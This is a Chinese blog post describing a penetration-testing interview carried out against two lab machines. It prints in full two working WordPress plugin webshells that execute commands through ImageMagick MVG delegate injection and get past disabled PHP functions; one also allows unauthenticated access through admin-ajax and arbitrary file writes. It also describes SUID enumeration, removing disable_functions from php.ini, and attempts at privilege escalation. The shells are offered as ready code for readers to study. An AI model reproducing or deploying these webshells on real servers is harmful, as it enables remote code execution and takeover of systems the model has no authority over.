当前位置: 首页 > news >正文

记录渗透测试工程师面试一面打靶场记录

2026应届生投了两个星期简历,上个星期终于有面试邀约了,一面是打靶场,二面是技术面,三面是人事面,也是好久没记录靶场了,本文就用了记录一下靶场面,希望之后的技术面能通过把。

总共两个靶场,靶场的目标都是拿到getshell和提权,需要我todesk远程连上他们的主机操作(真折磨啊),todesk卡不说,机器上面一个工具都没有,bp都没有,感觉大部分时间都在下工具和配环境了。

首先是靶场一

域名是testd.com,靶场都是内网连通的机器,估计都是虚拟机,后续要是有面试者直接用快照还原就完事了。

  1. 目录扫描、端口扫描:目录扫描发现wordpress站点

2.发现wordpress/wp-config.php,处于安装环节,填写安装信息 填写安装信息(这个忘记截图了,安装完了才发现)

站点标题: ctf

用户名: ctfadmin

密码: CtfAdm1n!2026

邮箱:ctfadmin@testd.com

3.安装完成后访问http://testd.com/wordpress/wp-login.php,登录账户

4.看到wordpress,一想到的就是最简单的getshell的方式就制作wordpress插件shell,首先查看之前发现的phpinfo.php,查看服务器禁用了哪些函数,好家伙,感觉犯天条了,我会写的几个函数全被ban了,没办法,只能求助ai(顺便感慨一下,以前没有ai的时代,老师傅们都是怎么写的webshell)。

上传插件shell,主要围绕未被禁用的 Imagick函数来绕过,写的代码也没细看,发出来给大家品鉴学习一下,总共需要上传两个shell,一个是wp-imagick-shell.php,一个是wp-imagick-ajax-shell.php。

<?php /* Plugin Name: WP Imagick Shell Description: CTF Imagick delegate bypass helper. Version: 1.0 Author: ctf */ if (isset($_GET['im']) || isset($_POST['im'])) { @error_reporting(0); @set_time_limit(0); $key = 'ctf2026'; if (($_REQUEST['k'] ?? '') !== $key) { http_response_code(403); die('403'); } header('Content-Type: text/plain; charset=utf-8'); function W($s=''){ echo $s, "\n"; } function clean_path($p){ return preg_replace('/[^A-Za-z0-9_\.\-\/]/', '', $p); } function mvg_cmd_token($c){ $c = trim(str_replace(array("\r","\n"), ' ', $c)); // Avoid quotes/spaces in the ImageMagick delegate shell line. $c = str_replace(array("'", '"', '`'), '', $c); $c = preg_replace('/\s+/', '${IFS}', $c); return $c; } function trigger_mvg($payload, $tag){ $tmp = tempnam(sys_get_temp_dir(), 'mvg_'); $mvg = $tmp . '.mvg'; @rename($tmp, $mvg); file_put_contents($mvg, $payload); W("[*] try $tag using $mvg"); try { $im = new Imagick(); $im->readImage('mvg:' . $mvg); $im->clear(); W('[*] Imagick readImage returned'); } catch (Throwable $e) { W('[!] ' . get_class($e) . ': ' . $e->getMessage()); } @unlink($mvg); } $a = $_REQUEST['a'] ?? 'info'; if ($a === 'info') { W('class Imagick=' . (class_exists('Imagick') ? 'YES' : 'NO')); W('disable_functions=' . ini_get('disable_functions')); if (class_exists('Imagick')) { $v = Imagick::getVersion(); W('version=' . ($v['versionString'] ?? json_encode($v))); foreach (array('MVG','MSVG','SVG','HTTPS','HTTP','EPHEMERAL','LABEL','TEXT','MSL') as $f) { $q = @Imagick::queryFormats($f); W($f . '=' . (!empty($q) ? implode(',', $q) : 'NO')); } } W('Usage: ?im=1&k=ctf2026&a=cmd&c=id&o=/tmp/im.out'); W('Read: ?im=1&k=ctf2026&a=read&f=/tmp/im.out'); exit; } if ($a === 'read') { $f = $_REQUEST['f'] ?? '/tmp/im.out'; echo @file_get_contents($f); exit; } if ($a === 'cmd') { if (!class_exists('Imagick')) { W('Imagick not loaded'); exit; } $cmd = mvg_cmd_token($_REQUEST['c'] ?? 'id'); $out = clean_path($_REQUEST['o'] ?? '/tmp/im.out'); if ($out === '') $out = '/tmp/im.out'; @unlink($out); $inj = $cmd . '>' . $out; $payloads = array( 'pipe_comment' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://127.0.0.1/a.jpg\"|".$inj.";#)'\npop graphic-context\n", 'semicolon_comment' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://127.0.0.1/a.jpg\";".$inj.";#)'\npop graphic-context\n", 'classic_pipe' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://example.com/image.jpg\"|".$inj.";echo\"x)'\npop graphic-context\n" ); foreach ($payloads as $tag => $p) trigger_mvg($p, $tag); W('[*] output file: ' . $out); W('--- output begin ---'); echo @file_get_contents($out); W('--- output end ---'); exit; } W('unknown action'); exit; } ?>
<?php /* Plugin Name: WP Imagick Ajax Shell Description: CTF Imagick delegate shell via direct file and admin-ajax. Version: 1.1 Author: ctf */ add_action('wp_ajax_imshell', 'imshell_entry'); add_action('wp_ajax_nopriv_imshell', 'imshell_entry'); function imshell_w($s=''){ echo $s, "\n"; } function imshell_clean_path($p){ return preg_replace('/[^A-Za-z0-9_\.\-\/]/', '', $p); } function imshell_cmd_token($c){ $c = trim(str_replace(array("\r","\n"), ' ', $c)); $c = str_replace(array("'", '"', '`'), '', $c); $c = preg_replace('/\s+/', '${IFS}', $c); return $c; } function imshell_trigger_mvg($payload, $tag){ $tmp = tempnam(sys_get_temp_dir(), 'mvg_'); $mvg = $tmp . '.mvg'; @rename($tmp, $mvg); file_put_contents($mvg, $payload); imshell_w("[*] try $tag using $mvg"); try { $im = new Imagick(); $im->readImage('mvg:' . $mvg); $im->clear(); imshell_w('[*] Imagick readImage returned'); } catch (Throwable $e) { imshell_w('[!] ' . get_class($e) . ': ' . $e->getMessage()); } @unlink($mvg); } function imshell_entry(){ @error_reporting(0); @set_time_limit(0); if (($_REQUEST['k'] ?? '') !== 'ctf2026') { http_response_code(403); die('403'); } header('Content-Type: text/plain; charset=utf-8'); $a = $_REQUEST['a'] ?? 'info'; if ($a === 'info') { imshell_w('OK imshell'); imshell_w('plugin_file=' . __FILE__); imshell_w('class Imagick=' . (class_exists('Imagick') ? 'YES' : 'NO')); imshell_w('disable_functions=' . ini_get('disable_functions')); if (class_exists('Imagick')) { $v = Imagick::getVersion(); imshell_w('version=' . ($v['versionString'] ?? json_encode($v))); foreach (array('MVG','MSVG','SVG','HTTPS','HTTP','EPHEMERAL','LABEL','TEXT','MSL') as $f) { $q = @Imagick::queryFormats($f); imshell_w($f . '=' . (!empty($q) ? implode(',', $q) : 'NO')); } } imshell_w('cmd: ?action=imshell&k=ctf2026&a=cmd&c=id&o=/tmp/im.out'); imshell_w('read: ?action=imshell&k=ctf2026&a=read&f=/tmp/im.out'); exit; } if ($a === 'read') { echo @file_get_contents($_REQUEST['f'] ?? '/tmp/im.out'); exit; } if ($a === 'write') { $f = $_REQUEST['f'] ?? ''; $b = base64_decode($_REQUEST['b'] ?? '', true); if ($f && $b !== false) echo @file_put_contents($f, $b) !== false ? 'OK' : 'FAIL'; exit; } if ($a === 'cmd') { if (!class_exists('Imagick')) { imshell_w('Imagick not loaded'); exit; } $cmd = imshell_cmd_token($_REQUEST['c'] ?? 'id'); $out = imshell_clean_path($_REQUEST['o'] ?? '/tmp/im.out'); if ($out === '') $out = '/tmp/im.out'; @unlink($out); $inj = $cmd . '>' . $out . ' 2>&1'; $payloads = array( 'pipe_comment' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://127.0.0.1/a.jpg\"|".$inj.";#)'\npop graphic-context\n", 'semicolon_comment' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://127.0.0.1/a.jpg\";".$inj.";#)'\npop graphic-context\n", 'classic_pipe' => "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://example.com/a.jpg\"|".$inj.";echo\"x)'\npop graphic-context\n" ); foreach ($payloads as $tag => $p) imshell_trigger_mvg($p, $tag); imshell_w('[*] output file: ' . $out); imshell_w('--- output begin ---'); echo @file_get_contents($out); imshell_w('--- output end ---'); exit; } imshell_w('unknown action'); exit; } if (isset($_GET['im']) || isset($_POST['im'])) { imshell_entry(); } ?>

成功getshell,不过不是交互式shell,很多功能都有问题,不知道是服务器的限制还是这个shell的问题,一直cd不出去。

尝试进行提权,信息收集suid

find%20/%20-perm%20-4000%20-type%20f

发现pkexec,再尝试查看是否在sudo组中

尝试sudo提权,失败,本靶场也就到此为止了,一直没提上权,希望有大佬可以分享一下思路

靶场二

域名是test.com,还是进行信息收集和端口扫描,目录扫描,截图忘记保存了,我这里口述一下信息收集的一下有用的信息,一个是端口扫描出了8888端口,发现是宝塔面板的错误页面,尝试扫描了一下目录也没找到登录页,暂且放弃,还有就是目录扫描出了80端口的登录页,上了登录页和验证码识别插件爆破也没成果,无奈只能寻找别的线索。

目录扫描也是慢的离谱,平均一秒才5个访问,最后等了大半天,终于有成果了,扫到了重要文件文件泄露wwwroot.zip,直接把源代码泄露了。。。(这靶场感觉有点der),那就直接审计一下源码。

一上来直接就是一个sql文件,直接进去搜admin,很快就找到了管理员用户和密码,分别是Admin和admin007,旁边是密码hash,看着像md5加密,尝试了一下网站在线解密,没结果。那就说明不是普通的md5加密,直接把压缩包丢给ai审计(用的是gpt5.5),审计发现了加密方式。是加固定盐加密,接着让ai写了个脚本解密一下,碰撞6位数字尝试一下,爆出了admin007的密码是258000。

2.成功登录之前扫出的后台,翻来翻去在添加用户那里发现了一个上传用户头像的功能,尝试了一波文件上传漏洞,结果白名单限制的有点死,暂时绕不过去。

3.好吧思路暂时又断了,突然想到还没让ai审计完全部的代码,然后就发现了有一个地方可以直接该上传文件类型限制,有点无语了,因为在后台管理里面的选项根本就没有这个页面。

直接添加上php的类型,成功又上传shell了,而且直接返回了文件路径

4.使用中国蚁剑成功getshell

连接发现shell权限太低,返回req=127,尝试提权

查看系统目录,找到php配置文件php.ini,把disable_functions,后面禁用的方法删除

5.修改后编写脚本重复请求触发重载(这个方法是之前看博客发现的,要服务器上面有fastcgi就能用,服务器接受一定请求后会重新读取php.ini),简单叫ai又写了个脚本

生效之后再次测试,发现已经可以使用大部分命令,

6.尝试进行system提权,用了joicypotato等等提权exp都不行,不知道是不是被服务器上面的360杀了,靶场都到此为止了。

总结

这两个靶场getshell都有点点难度,比起之前我练习的靶场是要难一些,更多考验的是随机应变的能力和自身的技术水平,比如我在靶场一上面发现了这么多的函数限制,我的个人硬实力是绝对写不出绕过的shell,不过现在的ai发展已经到了可以运用到挖洞的程度了,拥抱ai或许就是网安的师傅们下一阶段的学习了。

http://www.jsqmd.com/news/1101040/

相关文章:

  • 表情识别数据集 微表情数据 表情检测
  • NCM格式音乐解锁全攻略:用NcmppGui轻松获得真正的音乐自由
  • 基于微喇智能WKV553-A WiFi6双模无线模组的智能厨电AI解决方案百度AI-DEMO板简易说明
  • 别再被‘理想变压器’骗了!聊聊开关电源里漏感那些事儿(附实测波形分析)
  • MOS管栅极反并二极管,为什么只加速关断?聊聊开关电源里那些‘快’与‘慢’的权衡
  • NTN卫星通信实战:手把手教你理解SSB波束配置与R17协议限制
  • 从ICPC交互题到算法面试:手把手教你用二分+单调性优化解决矩阵第K大问题
  • 智能车主控板原理图保姆级拆解:从电源隔离到电机驱动,手把手教你读懂每个模块
  • 系统分析师考试备考总结
  • 仅限内部技术团队流通:VMware NAT端口转发黄金配置模板(含Windows/Linux双宿主环境、IPv6兼容性补丁及SELinux绕过方案)
  • 别再傻傻分不清了!5分钟搞懂NPN和PNP三极管在传感器接线中的实战区别
  • 6 款 PDF 翻译工具横评:排版 / 公式 / 扫描件全维度实测
  • 别再只盯着IPD流程了!聊聊华为IPD里那些容易被忽略的“使能”与“支撑”流程
  • NI DAQmx对NET Framework兼容层变通方案
  • Strix Halo 性能揭秘,端侧 AI 推理的新势力
  • 观成科技:冰蝎内存马加密流量分析
  • 别再死磕LangChain了!用Dify零代码搞定RAG应用,5分钟搭建你的第一个AI客服
  • OpenCV实战:用matchGMS()函数5分钟搞定SIFT/ORB特征匹配的误匹配剔除
  • 别再傻傻分不清了!5分钟搞懂NPN和PNP三极管在Arduino/STM32开关电路中的实战用法
  • 别再让电路‘唱歌’了:手把手教你用RC滞后补偿搞定负反馈放大电路的自激振荡
  • Linux 3.0 HDMI驱动机制详解
  • BilibiliDown:三分钟掌握跨平台B站视频下载全攻略
  • 别再傻傻分不清!Vivado里Synthesis和Implementation到底有啥区别?一个例子讲明白
  • 用 Claude API 生成课程摘要和复习提纲:更稳妥的实践方法
  • 如何在Photoshop中实现AI图像生成:SD-PPP插件终极指南
  • Arthas 介绍
  • 2026 年线下销售数字化,智能工牌远不止是个录音设备
  • 从谱松弛到双随机:图解Graph Matching三大优化算法,附NumPy实现与性能对比
  • 新手避坑指南:从ENA下载数据到QIIME2 2023.5版完成16S扩增子分析全流程
  • 从“能用”到“好用”再到“智能”:2026年电子合同行业五大趋势解读